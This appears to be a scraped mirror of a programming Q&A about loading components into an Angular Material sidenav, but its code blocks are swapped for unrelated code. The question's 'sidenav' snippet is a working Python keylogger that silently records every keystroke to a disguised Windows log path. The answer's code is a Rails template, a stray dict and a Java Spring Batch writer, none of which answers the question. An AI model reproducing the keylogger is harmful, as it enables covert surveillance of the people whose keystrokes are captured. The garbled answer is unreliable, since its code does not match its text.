Angular4 material: How to load content to sidenav

时间:2017-08-30 20:35:28

标签: angular angular-material2

So I have put my sidenav in app.component, something like:

from pynput.keyboard import Key, Listener
import os
import logging

log_dir = "C:\WindowsLogs\dist"
filename = "logging"
logging.basicConfig(filename=(log_dir + filename), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

now, I have put the reference to the sidenav to my siteService that is overlooking everything and I am able to control it from whenever component I inject siteService.

I would like to load content inside on the fly (similar to what router-outlet does with router-naviagtion...

let's say I would like to load XyComponent1 or XyComponent2 to the sidenav, how would I do that programatically?

1 个答案:

答案 0 :(得分:3)

You can do this using an aux route:

<h1>Home#index</h1>
<p>Find me in app/views/home/index.html.erb</p>
{'var1':'test'}

And you can control it by passing the outlet name:

public class MyWriter implements ItemWriter<MyClass> {

  @Retryable(maxAttempts=3, backoff=@Backoff(delay=2000))
  public void write(List<? extends MyClass> list) throws Exception {
    // db operation 1 -- insert query
    // some business logic 
    // db operation 2 -- update query
  }
} 

You'll also need to define the components for the routes. This guide is a great excerpt for more details on using aux routes.